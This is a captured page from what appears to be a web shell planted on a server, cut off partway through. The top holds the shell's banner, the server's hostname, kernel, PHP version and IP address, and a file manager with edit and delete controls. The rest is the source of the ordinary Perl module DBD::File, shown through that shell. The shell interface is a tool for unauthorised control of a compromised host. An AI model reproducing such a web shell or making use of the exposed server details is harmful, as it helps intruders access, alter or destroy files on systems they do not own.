x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/perl5/vendor_perl/DBD/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
File dir drwxr-xr-x 2023-04-05 00:01 R D
Gofer dir drwxr-xr-x 2023-04-05 00:01 R D
SQLite dir drwxr-xr-x 2023-04-05 00:35 R D
mysql dir drwxr-xr-x 2023-04-05 00:01 R D
  DBM.pm 50.874 KB -rw-r--r-- 2013-05-15 09:20 R E G D
  ExampleP.pm 11.88 KB -rw-r--r-- 2013-04-04 22:17 R E G D
  File.pm 36.438 KB -rw-r--r-- 2013-04-04 22:17 R E G D
  Gofer.pm 47.926 KB -rw-r--r-- 2014-06-10 01:06 R E G D
  NullP.pm 4.237 KB -rw-r--r-- 2013-04-04 22:17 R E G D
  Proxy.pm 28.593 KB -rw-r--r-- 2014-06-10 01:06 R E G D
  SQLite.pm 81.932 KB -rw-r--r-- 2013-06-09 15:04 R E G D
  Sponge.pm 7.794 KB -rw-r--r-- 2013-04-04 22:17 R E G D
  mysql.pm 63.088 KB -rw-r--r-- 2013-04-12 21:29 R E G D
REQUEST EXIT
# -*- perl -*- # # DBD::File - A base class for implementing DBI drivers that # act on plain files # # This module is currently maintained by # # H.Merijn Brand & Jens Rehsack # # The original author is Jochen Wiedmann. # # Copyright (C) 2009-2013 by H.Merijn Brand & Jens Rehsack # Copyright (C) 2004 by Jeff Zucker # Copyright (C) 1998 by Jochen Wiedmann # # All rights reserved. # # You may distribute this module under the terms of either the GNU # General Public License or the Artistic License, as specified in # the Perl README file. require 5.008; use strict; use warnings; use DBI (); package DBD::File; use strict; use warnings; use base qw( DBI::DBD::SqlEngine ); use Carp; use vars qw( @ISA $VERSION $drh ); $VERSION = "0.41"; $drh = undef; # holds driver handle(s) once initialized sub driver ($;$) { my ($class, $attr) = @_; # Drivers typically use a singleton object for the $drh # We use a hash here to have one singleton per subclass. # (Otherwise DBD::CSV and DBD::DBM, for example, would # share the same driver object which would cause problems.) # An alternative would be not not cache the $drh here at all # and require that subclasses do that. Subclasses should do # their own caching, so caching here just provides extra safety. $drh->{$class} and return $drh->{$class}; $attr ||= {}; { no strict "refs"; unless ($attr->{Attribution}) { $class eq "DBD::File" and $attr->{Attribution} = "$class by Jeff Zucker"; $attr->{Attribution} ||= ${$class . "::ATTRIBUTION"} || "oops the author of $class forgot to define this"; } $attr->{Version} ||= ${$class . "::VERSION"}; $attr->{Name} or ($attr->{Name} = $class) =~ s/^DBD\:\://; } $drh->{$class} = $class->SUPER::driver ($attr); # XXX inject DBD::XXX::Statement unless exists return $drh->{$class}; } # driver sub CLONE { undef $drh; } # CLONE # ====== DRIVER ================================================================ package DBD::File::dr; use strict; use warnings; use vars qw( @ISA $imp_data_size ); @DBD::File::dr::ISA = qw( DBI::DBD::SqlEngine::dr ); $DBD::File::dr::imp_data_size = 0; sub dsn_quote { my $str = shift; ref $str and return ""; defined $str or return ""; $str =~ s/([;:\\])/\\$1/g; return $str; } # dsn_quote # XXX rewrite using TableConfig ... sub default_table_source { "DBD::File::TableSource::FileSystem" } sub disconnect_all { } # disconnect_all sub DESTROY { undef; } # DESTROY # ====== DATABASE ============================================================== package DBD::File::db; use strict; use warnings; use vars qw( @ISA $imp_data_size ); use Carp; require File::Spec; require Cwd; use Scalar::Util qw( refaddr ); # in CORE since 5.7.3 @DBD::File::db::ISA = qw( DBI::DBD::SqlEngine::db ); $DBD::File::db::imp_data_size = 0; sub data_sources { my ($dbh, $attr, @other) = @_; ref ($attr) eq "HASH" or $attr = {}; exists $attr->{f_dir} or $attr->{f_dir} = $dbh->{f_dir}; return $dbh->SUPER::data_sources ($attr, @other); } # data_source sub set_versions { my $dbh = shift; $dbh->{f_version} = $DBD::File::VERSION; return $dbh->SUPER::set_versions (); } # set_versions sub init_valid_attributes { my $dbh = shift; $dbh->{f_valid_attrs} = { f_version => 1, # DBD::File version f_dir => 1, # base directory f_ext => 1, # file extension f_schema => 1, # schema name f_lock => 1, # Table locking mode f_lockfile => 1, # Table lockfile extension f_encoding => 1, # Encoding of the file f_valid_attrs => 1, # File valid attributes f_readonly_attrs => 1, # File readonly attributes }; $dbh->{f_readonly_attrs} = { f_version => 1, # DBD::File version f_valid_attrs => 1, # File valid attributes f_readonly_attrs => 1, # File readonly attributes }; return $dbh->SUPER::init_valid_attributes (); } # init_valid_attributes sub init_default_attributes { my ($dbh, $phase) = @_; # must be done first, because setting flags implicitly calls $dbdname::db->STORE $dbh->SUPER::init_default_attributes ($phase); # DBI::BD::SqlEngine::dr::connect will detect old-style drivers and # don't call twice unless (defined $phase) { # we have an "old" driver here $phase = defined $dbh->{sql_init_phase}; $phase and $phase = $dbh->{sql_init_phase}; } if (0 == $phase) { # f_ext should not be initialized # f_map is deprecated (but might return) $dbh->{f_dir} = Cwd::abs_path (File::Spec->curdir ()); push @{$dbh->{sql_init_order}{90}}, "f_meta"; # complete derived attributes, if required (my $drv_class = $dbh->{ImplementorClass}) =~ s/::db$//; my $drv_prefix = DBI->driver_prefix ($drv_class); if (exists $dbh->{$drv_prefix . "meta"} and !$dbh->{sql_engine_in_gofer}) { my $attr = $dbh->{$drv_prefix . "meta"}; defined $dbh->{f_valid_attrs}{f_meta} and $dbh->{f_valid_attrs}{f_meta} = 1; $dbh->{f_meta} = $dbh->{$attr}; } } return $dbh; } # init_default_attributes sub validate_FETCH_attr { my ($dbh, $attrib) = @_; $attrib eq "f_meta" and $dbh->{sql_engine_in_gofer} and $attrib = "sql_meta"; return $dbh->SUPER::validate_FETCH_attr ($attrib); } # validate_FETCH_attr sub validate_STORE_attr { my ($dbh, $attrib, $value) = @_; if ($attrib eq "f_dir" && defined $value) { -d $value or return $dbh->set_err ($DBI::stderr, "No such directory '$value'"); File::Spec->file_name_is_absolute ($value) or $value = Cwd::abs_path ($value); } if ($attrib eq "f_ext") { $value eq "" || $value =~ m{^\.\w+(?:/[rR]*)?$} or carp "'$value' doesn't look like a valid file extension attribute\n"; } $attrib eq "f_meta" and $dbh->{sql_engine_in_gofer} and $attrib = "sql_meta"; return $dbh->SUPER::validate_STORE_attr ($attrib, $value); } # validate_STORE_attr sub get_f_versions { my ($dbh, $table) = @_; my $class = $dbh->{ImplementorClass}; $class =~ s/::db$/::Table/; my $dver; my $dtype = "IO::File"; eval { $dver = IO::File->VERSION (); # when we're still alive here, everthing went ok - no need to check for $@ $dtype .= " ($dver)"; }; my $f_encoding; if ($table) { my $meta; $table and (undef, $meta) = $class->get_table_meta ($dbh, $table, 1); $meta and $meta->{f_encoding} and $f_encoding = $meta->{f_encoding}; } # if ($table) $f_encoding ||= $dbh->{f_encoding}; $f_encoding and $dtype .= " + " . $f_encoding . " encoding"; return sprintf "%s using %s", $dbh->{f_version}, $dtype; } # get_f_versions # ====== STATEMENT ============================================================= package DBD::File::st; use strict; use warnings; use vars qw( @ISA $imp_data_size ); @DBD::File::st::ISA = qw( DBI::DBD::SqlEngine::st ); $DBD::File::st::imp_data_size = 0; my %supported_attrs = ( TYPE => 1, PRECISION => 1, NULLABLE => 1, ); sub FETCH { my ($sth, $attr) = @_; if ($supported_attrs{$attr}) { my $stmt = $sth->{sql_stmt}; if (exists $sth->{ImplementorClass} && exists $sth->{sql_stmt} && $sth->{sql_stmt}->isa ("SQL::Statement")) { # fill overall_defs unless we know unless (exists $sth->{f_overall_defs} && ref $sth->{f_overall_defs}) { my $all_meta = $sth->{Database}->func ("*", "table_defs", "get_sql_engine_meta"); while (my ($tbl, $meta) = each %$all_meta) { exists $meta->{table_defs} && ref $meta->{table_defs} or next; foreach (keys %{$meta->{table_defs}{columns}}) { $sth->{f_overall_defs}{$_} = $meta->{table_defs}{columns}{$_}; } } } my @colnames = $sth->sql_get_colnames (); $attr eq "TYPE" and return [ map { $sth->{f_overall_defs}{$_}{data_type} || "CHAR" } @colnames ]; $attr eq "PRECISION" and return [ map { $sth->{f_overall_defs}{$_}{data_length} || 0 } @colnames ]; $attr eq "NULLABLE" and return [ map { ( grep { $_ eq "NOT NULL" } @{ $sth->{f_overall_defs}{$_}{constraints} || [] }) ? 0 : 1 } @colnames ]; } } return $sth->SUPER::FETCH ($attr); } # FETCH # ====== TableSource =========================================================== package DBD::File::TableSource::FileSystem; use strict; use warnings; use IO::Dir; @DBD::File::TableSource::FileSystem::ISA = "DBI::DBD::SqlEngine::TableSource"; sub data_sources { my ($class, $drh, $attr) = @_; my $dir = $attr && exists $attr->{f_dir} ? $attr->{f_dir} : File::Spec->curdir (); defined $dir or return; # Stream-based databases do not have f_dir my %attrs; $attr and %attrs = %$attr; delete $attrs{f_dir}; my $dsn_quote = $drh->{ImplementorClass}->can ("dsn_quote"); my $dsnextra = join ";", map { $_ . "=" . &{$dsn_quote} ($attrs{$_}) } keys %attrs; my $dirh = IO::Dir->new ($dir); unless (defined $dirh) { $drh->set_err ($DBI::stderr, "Cannot open directory $dir: $!"); return; } my ($file, @dsns, %names, $driver); $driver = $drh->{ImplementorClass} =~ m/^dbd\:\:([^\:]+)\:\:/i ? $1 : "File"; while (defined ($file = $dirh->read ())) { my $d = File::Spec->catdir ($dir, $file); # allow current dir ... it can be a data_source too $file ne File::Spec->updir () && -d $d and push @dsns, "DBI:$driver:f_dir=" . &{$dsn_quote} ($d) . ($dsnextra ? ";$dsnextra" : ""); } return @dsns; } # data_sources sub avail_tables { my ($self, $dbh) = @_; my $dir = $dbh->{f_dir}; defined $dir or return; # Stream based db's cannot be queried for tables my $dirh = IO::Dir->new ($dir); unless (defined $dirh) { $dbh->set_err ($DBI::stderr, "Cannot open directory $dir: $!"); return; } my $class = $dbh->FETCH ("ImplementorClass"); $class =~ s/::db$/::Table/; my ($file, %names); my $schema = exists $dbh->{f_schema} ? defined $dbh->{f_schema} && $dbh->{f_schema} ne "" ? $dbh->{f_schema} : undef : eval { getpwuid ((stat $dir)[4]) }; # XXX Win32::pwent my %seen; my @tables; while (defined ($file = $dirh->read ())) { my ($tbl, $meta) = $class->get_table_meta ($dbh, $file, 0, 0) or next; # XXX # $tbl && $meta && -f $meta->{f_fqfn} or next; $seen{defined $schema ? $schema : "\0"}{$tbl}++ or push @tables, [ undef, $schema, $tbl, "TABLE", "FILE" ]; } $dirh->close () or $dbh->set_err ($DBI::stderr, "Cannot close directory $dir: $!"); return @tables; } # avail_tables # ====== DataSource ============================================================ package DBD::File::DataSource::Stream; use strict; use warnings; use Carp; @DBD::File::DataSource::Stream::ISA = "DBI::DBD::SqlEngine::DataSource"; # We may have a working flock () built-in but that doesn't mean that locking # will work on NFS (flock () may hang hard) my $locking = eval { my $fh; my $nulldevice = File::Spec->devnull (); open $fh, ">", $nulldevice or croak "Can't open $nulldevice: $!"; flock $fh, 0; close $fh; 1; }; sub complete_table_name { my ($self, $meta, $file, $respect_case) = @_; my $tbl = $file; if (!$respect_case and $meta->{sql_identifier_case} == 1) { # XXX SQL_IC_UPPER $tbl = uc $tbl; } elsif (!$respect_case and $meta->{sql_identifier_case} == 2) { # XXX SQL_IC_LOWER $tbl = lc $tbl; } $meta->{f_fqfn} = undef; $meta->{f_fqbn} = undef; $meta->{f_fqln} = undef; $meta->{table_name} = $tbl; return $tbl; } # complete_table_name sub apply_encoding { my ($self, $meta, $fn) = @_; defined $fn or $fn = "file handle " . fileno ($meta->{fh}); if (my $enc = $meta->{f_encoding}) { binmode $meta->{fh}, ":encoding($enc)" or croak "Failed to set encoding layer '$enc' on $fn: $!"; } else { binmode $meta->{fh} or croak "Failed to set binary mode on $fn: $!"; } } # apply_encoding sub open_data { my ($self, $meta, $attrs, $flags) = @_; $flags->{dropMode} and croak "Can't drop a table in stream"; my $fn = "file handle " . fileno ($meta->{f_file}); if ($flags->{createMode} || $flags->{lockMode}) { $meta->{fh} = IO::Handle->new_from_fd (fileno ($meta->{f_file}), "w+") or croak "Cannot open $fn for writing: $! (" . ($!+0) . ")"; } else { $meta->{fh} = IO::Handle->new_from_fd (fileno ($meta->{f_file}), "r") or croak "Cannot open $fn for reading: $! (" . ($!+0) . ")"; } if ($meta->{fh}) { $self->apply_encoding ($meta, $fn); } # have $meta->{$fh} if ($self->can_flock && $meta->{fh}) { my $lm = defined $flags->{f_lock} && $flags->{f_lock} =~ m/^[012]$/ ? $flags->{f_lock} : $flags->{lockMode} ? 2 : 1; if ($lm == 2) { flock $meta->{fh}, 2 or croak "Cannot obtain exclusive lock on $fn: $!"; } elsif ($lm == 1) { flock $meta->{fh}, 1 or croak "Cannot obtain shared lock on $fn: $!"; } # $lm = 0 is forced no locking at all } } # open_data sub can_flock { $locking } package DBD::File::DataSource::File; use strict; use warnings; @DBD::File::DataSource::File::ISA = "DBD::File::DataSource::Stream"; use Carp; my $fn_any_ext_regex = qr/\.[^.]*/; sub complete_table_name { my ($self, $meta, $file, $respect_case, $file_is_table) = @_; $file eq "." || $file eq ".." and return; # XXX would break a possible DBD::Dir # XXX now called without proving f_fqfn first ... my ($ext, $req) = ("", 0); if ($meta->{f_ext}) { ($ext, my $opt) = split m{/}, $meta->{f_ext}; if ($ext && $opt) { $opt =~ m/r/i and $req = 1; } } # (my $tbl = $file) =~ s/$ext$//i; my ($tbl, $basename, $dir, $fn_ext, $user_spec_file); if ($file_is_table and defined $meta->{f_file}) { $tbl = $file; ($basename, $dir, $fn_ext) = File::Basename::fileparse ($meta->{f_file}, $fn_any_ext_regex); $file = $basename . $fn_ext; $user_spec_file = 1; } else { ($basename, $dir, undef) = File::Basename::fileparse ($file, $ext); $file = $tbl = $basename; $user_spec_file = 0; } if (!$respect_case and $meta->{sql_identifier_case} == 1) { # XXX SQL_IC_UPPER $basename = uc $basename; $tbl = uc $tbl; } elsif (!$respect_case and $meta->{sql_identifier_case} == 2) { # XXX SQL_IC_LOWER $basename = lc $basename; $tbl = lc $tbl; } my $searchdir = File::Spec->file_name_is_absolute ($dir) ? ($dir =~ s{/$}{}, $dir) : Cwd::abs_path (File::Spec->catdir ($meta->{f_dir}, $dir)); -d $searchdir or croak "-d $searchdir: $!"; $searchdir eq $meta->{f_dir} and $dir = ""; unless ($user_spec_file) { $file_is_table and $file = "$basename$ext"; # Fully Qualified File Name my $cmpsub; if ($respect_case) { $cmpsub = sub { my ($fn, undef, $sfx) = File::Basename::fileparse ($_, $fn_any_ext_regex); $^O eq "VMS" && $sfx eq "." and $sfx = ""; # no extension turns up as a dot $fn eq $basename and return (lc $sfx eq lc $ext or !$req && !$sfx); return 0; } } else { $cmpsub = sub { my ($fn, undef, $sfx) = File::Basename::fileparse ($_, $fn_any_ext_regex); $^O eq "VMS" && $sfx eq "." and $sfx = ""; # no extension turns up as a dot lc $fn eq lc $basename and return (lc $sfx eq lc $ext or !$req && !$sfx); return 0; } } my @f; { my $dh = IO::Dir->new ($searchdir) or croak "Can't open '$searchdir': $!"; @f = sort { length $b <=> length $a } grep { &$cmpsub ($_) } $dh->read (); $dh->close () or croak "Can't close '$searchdir': $!"; } @f > 0 && @f <= 2 and $file = $f[0]; !$respect_case && $meta->{sql_identifier_case} == 4 and # XXX SQL_IC_MIXED ($tbl = $file) =~ s/$ext$//i; my $tmpfn = $file; if ($ext && $req) { # File extension required $tmpfn =~ s/$ext$//i or return; } } my $fqfn = File::Spec->catfile ($searchdir, $file); my $fqbn = File::Spec->catfile ($searchdir, $basename); $meta->{f_fqfn} = $fqfn; $meta->{f_fqbn} = $fqbn; defined $meta->{f_lockfile} && $meta->{f_lockfile} and $meta->{f_fqln} = $meta->{f_fqbn} . $meta->{f_lockfile}; $dir && !$user_spec_file and $tbl = File::Spec->catfile ($dir, $tbl); $meta->{table_name} = $tbl; return $tbl; } # complete_table_name sub open_data { my ($self, $meta, $attrs, $flags) = @_; defined $meta->{f_fqfn} && $meta->{f_fqfn} ne "" or croak "No filename given"; my ($fh, $fn); unless ($meta->{f_dontopen}) { $fn = $meta->{f_fqfn}; if ($flags->{createMode}) { -f $meta->{f_fqfn} and croak "Cannot create table $attrs->{table}: Already exists"; $fh = IO::File->new ($fn, "a+") or croak "Cannot open $fn for writing: $! (" . ($!+0) . ")"; } else { unless ($fh = IO::File->new ($fn, ($flags->{lockMode} ? "r+" : "r"))) { croak "Cannot open $fn: $! (" . ($!+0) . ")"; } } $meta->{fh} = $fh; if ($fh) { $fh->seek (0, 0) or croak "Error while seeking back: $!"; $self->apply_encoding ($meta); } } if ($meta->{f_fqln}) { $fn = $meta->{f_fqln}; if ($flags->{createMode}) { -f $fn and croak "Cannot create table lock at '$fn' for $attrs->{table}: Already exists"; $fh = IO::File->new ($fn, "a+") or croak "Cannot open $fn for writing: $! (" . ($!+0) . ")"; } else { unless ($fh = IO::File->new ($fn, ($flags->{lockMode} ? "r+" : "r"))) { croak "Cannot open $fn: $! (" . ($!+0) . ")"; } } $meta->{lockfh} = $fh; } if ($self->can_flock && $fh) { my $lm = defined $flags->{f_lock} && $flags->{f_lock} =~ m/^[012]$/ ? $flags->{f_lock} : $flags->{lockMode} ? 2 : 1; if ($lm == 2) { flock $fh, 2 or croak "Cannot obtain exclusive lock on $fn: $!"; } elsif ($lm == 1) { flock $fh, 1 or croak "Cannot obtain shared lock on $fn: $!"; } # $lm = 0 is forced no locking at all } } # open_data # ====== SQL::STATEMENT ======================================================== package DBD::File::Statement; use strict; use warnings; @DBD::File::Statement::ISA = qw( DBI::DBD::SqlEngine::Statement ); # ====== SQL::TABLE ============================================================ package DBD::File::Table; use strict; use warnings; use Carp; require IO::File; require File::Basename; require File::Spec; require Cwd; require Scalar::Util; @DBD::File::Table::ISA = qw( DBI::DBD::SqlEngine::Table ); # ====== UTILITIES ============================================================ if (eval { require Params::Util; }) { Params::Util->import ("_HANDLE"); } else { # taken but modified from Params::Util ... *_HANDLE = sub { # It has to be defined, of course defined $_[0] or return; # Normal globs are considered to be file handles ref $_[0] eq "GLOB" and return $_[0]; # Check for a normal tied filehandle # Side Note: 5.5.4's tied () and can () doesn't like getting undef tied ($_[0]) and tied ($_[0])->can ("TIEHANDLE") and return $_[0]; # There are no other non-object handles that we support Scalar::Util::blessed ($_[0]) or return; # Check for a common base classes for conventional IO::Handle object $_[0]->isa ("IO::Handle") and return $_[0]; # Check for tied file handles using Tie::Handle $_[0]->isa ("Tie::Handle") and return $_[0]; # IO::Scalar is not a proper seekable, but it is valid is a # regular file handle $_[0]->isa ("IO::Scalar") and return $_[0]; # Yet another special case for IO::String, which refuses (for now # anyway) to become a subclass of IO::Handle. $_[0]->isa ("IO::String") and return $_[0]; # This is not any sort of object we know about return; }; } # ====== FLYWEIGHT SUPPORT ===================================================== # Flyweight support for table_info # The functions file2table, init_table_meta, default_table_meta and # get_table_meta are using $self arguments for polymorphism only. The # must not rely on an instantiated DBD::File::Table sub file2table { my ($self, $meta, $file, $file_is_table, $respect_case) = @_; return $meta->{sql_data_source}->complete_table_name ($meta, $file, $respect_case, $file_is_table); } # file2table sub bootstrap_table_meta { my ($self, $dbh, $meta, $table, @other) = @_; $self->SUPER::bootstrap_table_meta ($dbh, $meta, $table, @other); exists $meta->{f_dir} or $meta->{f_dir} = $dbh->{f_dir}; defined $meta->{f_ext} or $meta->{f_ext} = $dbh->{f_ext}; defined $meta->{f_encoding} or $meta->{f_encoding} = $dbh->{f_encoding}; exists $meta->{f_lock} or $meta->{f_lock} = $dbh->{f_lock}; exists $meta->{f_lockfile} or $meta->{f_lockfile} = $dbh->{f_lockfile}; defined $meta->{f_schema} or $meta->{f_schema} = $db